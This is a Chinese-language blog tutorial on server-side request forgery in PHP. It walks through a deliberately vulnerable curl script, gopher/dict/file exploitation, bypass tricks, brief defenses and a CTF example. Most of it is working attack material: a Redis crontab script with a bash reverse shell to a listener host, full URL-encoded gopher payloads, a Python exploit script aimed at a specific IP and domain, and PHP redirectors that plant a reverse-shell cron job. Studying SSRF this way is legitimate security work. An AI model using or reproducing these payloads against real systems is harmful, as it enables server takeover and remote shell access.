1. 程式人生 > >SSRF-php初探

SSRF-php初探

settings encode 數據 代碼 機器 vps build 瀏覽器 async

0x00 前言

1) SSRF的概念很好理解,請自行百度。

2) JAVA/PHP/PYTHON都存在SSRF漏洞(至於其他語言的情況,了解粗淺尚不得知)。

3) SSRF的利用方式很多,可參考豬豬俠的build_your_ssrf_exp_autowork,以及大佬博客。

4) 以下導圖只是SSRF部分內容,導圖中帶√部分為本文涉及內容。

技術分享圖片

0x01 漏洞產生

以curl為例,漏洞代碼為ssrf.php

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET[‘url‘]);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);
curl_close($ch);
?>

 

0x02 利用方式

首先查看curl的版本和該版本支持的協議

[root@localhost html]#  curl -V
curl 7.29.0 (x86_64-redhat-linux-gnu) libcurl/7.29.0 NSS/3.21 Basic ECC zlib/1.2.7
libidn/1.28 libssh2/1.4.3
Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtsp
scp sftp smtp smtps telnet tftp
Features: AsynchDNS GSS-Negotiate IDN IPv6 Largefile NTLM NTLM_WB SSL libz unix-
sockets

可以看到該版本的curl支持很多協議,其中gopher協議、dict協議、file協議、http/s協議用的比較多
ps:上面的漏洞代碼ssrf.php沒有屏蔽回顯,所以利用姿勢比較多

gopher:gopher協議支持發出GET、POST請求:可以先截獲get請求包和post請求包,再構造成符合gopher協議的請求。gopher協議是ssrf利用中一個最強大的協議。
先監聽本地2333端口,然後利用gopher協議訪問

[root@localhost ~]# nc -l -vv 2333
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:47726
 
[root@localhost html]# curl -v ‘http://127.0.0.1/ssrf.php?
url=gopher://127.0.0.1:2333/_test‘
 
[root@localhost ~]# nc -l -vv 2333
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:47726.
test

可以看到數據發送了。一開始感覺反彈傳輸數據沒多大用,後來看了gopher和dict攻擊redis和脆弱的內網應用的exp才明白

dict:因為ssrf.php的漏洞代碼有回顯,所以瀏覽器直接訪問

http://4o4notfound.org/ssrf.php?url=dict://127.0.0.1:6379/info

即可看到redis的相關配置。

http://4o4notfound.org/ssrf.php?url=dict://127.0.0.1:ssh端口/info

即可看到ssh的banner信息
如果ssrf.php中加上一行屏蔽回顯的代碼“curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);”,那麽這種方式就失效了,和gopher一樣,只能利用nc監聽端口,反彈傳輸數據了。

file:因為ssrf.php的漏洞代碼有回顯,所以瀏覽器直接訪問

http://4o4notfound.org/ssrf.php?url=file:///etc/passwd

即可看到很多不可描述的東西。同理,如果屏蔽回顯,該協議就廢了

http/s:主要用來探測內網服務。根據響應的狀態判斷內網端口及服務,可以結合java系列0day和其他各種0day使用

0x03 攻擊應用

主要攻擊redis、discuz、fastcgi、memcache、內網脆弱應用這幾類應用,這裏以redis為例,分別利用gopher協議和dict協議getshell
首先要了解redis的getshell的exp寫成的bash shell:

echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n"|redis-cli -h $1
-p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/ redis-cli -h $1 -p $2 config
set dbfilename root
redis-cli -h $1 -p $2 save redis-cli -h $1 -p $2 quit

執行命令bash shell.sh 127.0.0.1 6379,就在redis裏面寫了一個鍵值對的定時任務(利用crontab),可以反彈shell。
gopher利用:這部分三葉草的joychou師傅說的很詳細,可以看SSRF in PHP:https://joychou.org/web/phpssrf.html。
這裏為了構造符合gopher協議的訪問請求,首先要獲取bash腳本對redis發出的訪問請求,要用socat進行端口轉發,轉發命令為:

socat -v tcp-listen:4444,fork tcp-connect:localhost:6379

意思是將訪問4444端口的流量轉發到6379端口。也就是如果我們的bash腳本請求的是4444端口,仍然訪問的是6379的redis,相當於一個中轉
執行命令:

bash shell.sh 127.0.0.1 4444

socat就獲取到了shell.sh對redis發出的請求(這裏貼出來部分請求):

[root@localhost cron]# socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
> 2017/05/25 07:16:51.991865  length=18 from=0 to=17
*1\r
$8\r
flushall\r
< 2017/05/25 07:16:51.992468  length=5 from=0 to=4
+OK\r
> 2017/05/25 07:16:51.995872  length=83 from=0 to=82
*3\r
$3\r
set\r
$1\r
1\r
$56\r
 
 
*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1
 
 
\r
< 2017/05/25 07:16:51.996065  length=5 from=0 to=4
+OK\r
> 2017/05/25 07:16:51.998777  length=57 from=0 to=56
*4\r
$6\r

改成適配gopher協議的url:

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$56%0d%0a%0d%0a%0a%0
a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333
0>&1%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0ad
ir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$
10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aq
uit%0d%0a

再進行urlencode,得到payload:

gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d
%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20
 
bash%20-
i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d
%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250
 
a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250
d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilen
ame%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2
A1%250d%250a%244%250d%250aquit%250d%250a

最終的攻擊poc為:

curl -v ‘http://127.0.0.1/ssrf.php?
url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%
250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2
A%20bash%20-
i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d
%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250
 
a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250
d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilen
ame%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2
A1%250d%250a%244%250d%250aquit%250d%250a‘

執行即可在/var/spool/cron/下生成一個名為root的定時任務,任務為反彈shell

dict利用:dict協議有一個功能:dict://serverip:port/name:data 向服務器的端口請求 name data,並在末尾自動補上rn(CRLF)。也就是如果我們發出dict://serverip:port/config:set:dir:/var/spool/cron/的請求,redis就執行了config set dir /var/spool/cron/ rn.用這種方式可以一步步執行redis getshell的exp,執行完就能達到和gopher一樣的效果。原理一樣,但是gopher只需要一個url請求即可,dict需要步步構造。
利用豬豬俠的wooyun上公開的腳本改成適配本文的腳本ssrf.py:

import requests
host = ‘104.224.151.234‘
port = ‘6379‘
bhost = ‘www.4o4notfound.org‘
bport=2333
vul_httpurl = ‘http://www.4o4notfound.org/ssrf.php?url=‘
_location = ‘http://www.4o4notfound.org/302.php‘
shell_location = ‘http://www.4o4notfound.org/shell.php‘
#1 flush db
_payload = ‘?s=dict%26ip={host}%26port={port}%26data=flushall‘.format( host = host,
port = port)
exp_uri = ‘{vul_httpurl}{0}{1}‘.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
#set crontab command
_payload = ‘?s=dict%26ip={host}%26port={port}%26bhost={bhost}%26bport=
{bport}‘.format( host = host, port = port, bhost = bhost, bport = bport)
exp_uri = ‘{vul_httpurl}{0}{1}‘.format(shell_location, _payload,
vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
#confg set dir
_payload=‘?s=dict%26ip={host}%26port=
{port}%26data=config:set:dir:/var/spool/cron/‘.format( host = host, port = port)
exp_uri = ‘{vul_httpurl}{0}{1}‘.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
#config set dbfilename
_payload=‘?s=dict%26ip={host}%26port=
{port}%26data=config:set:dbfilename:root‘.format( host = host, port = port)
exp_uri = ‘{vul_httpurl}{0}{1}‘.format(_location, _payload,
vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
#save
_payload=‘?s=dict%26ip={host}%26port={port}%26data=save‘.format( host = host, port
= port)
exp_uri = ‘{vul_httpurl}{0}{1}‘.format(_location, _payload,
vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content  

因為curl默認不支持302跳轉,而該腳本要用到302跳轉,所以需要在ssrf.php中加上一行“curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1)”來支持跳轉。302.php代碼為:

<?php
$ip = $_GET[‘ip‘];
$port = $_GET[‘port‘];
$scheme = $_GET[‘s‘];
$data = $_GET[‘data‘];
header("Location: $scheme://$ip:$port/$data"); 
?> 

shell.php主要用於寫入用於反彈shell的crontab的定時任務,代碼為:

<?php
$ip = $_GET[‘ip‘];
$port = $_GET[‘port‘];
$bhost = $_GET[‘bhost‘];
$bport = $_GET[‘bport‘];
$scheme = $_GET[‘s‘];
header("Location: $scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-
i\\x20>\\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x261\\x0a\\x0a\\x0a\""); ?>

執行ssrf.py,即可在/var/spool/cron/下寫入定時任務,反彈shell,nc等待接收shell

0x04 繞過與防禦

繞過:可以使用www.ip.xip.io或者www.ip.xip.io代替ip可以繞過部分過濾
防禦:限制協議為HTTP、HTTPS

curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);

禁止30x跳轉

刪掉curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

設置白名單或限制內網ip

0x05 例題

一道ctf題目,有兩個文件:ssrf3.php和flag.php
題目意思是flag只能127.0.0.1訪問,還進行了post驗證,這就需要gopher提交post數據來繞過
curl設置了302跳轉,所以可以把302.php放在自己的vps上進行跳轉.
首先獲取訪問flag.php的post請求:

POST /flag.php HTTP/1.1
Host: 192.168.154.130
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
 
username=admin

因為只有一臺機器,所以我直接將Host改成了127.0.0.1,再改成符合gopher協議的請求,寫入302.php。
302.php內容為

header("Location:gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1%0d%0aHost:
127.0.0.1%0d%0aUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0)
Gecko/20100101 Firefox/50.0%0d%0aAccept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8%0d%0aAccept-Language:
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3%0d%0aAccept-Encoding: gzip,
deflate%0d%0aConnection: keep-alive%0d%0aUpgrade-Insecure-Requests: 1%0d%0aContent-
Type: application/x-www-form-urlencoded%0d%0aContent-Length:
14%0d%0a%0d%0ausername=admin");

流程就是在ssrf3.php提交http://www.myvpsip.xip.io/302.php,然後漏洞機器會訪問302.php,然後跳轉,利用gopher協議,自己訪問自己的flag.php同時提交username=admin的post數據。flag可以在ssrf3.php的頁面源代碼中看到。
因為都是一臺機器在操作,但應該不是紫薇吧.ps:改裝成符合gopher協議的get、post類型請求還是要小心的。

Reference

https://joychou.org/web/phpssrf.html(三葉草)

https://www.t00ls.net/articles-41070.html(了解php/python/java中SSRF的利用)

SSRF-php初探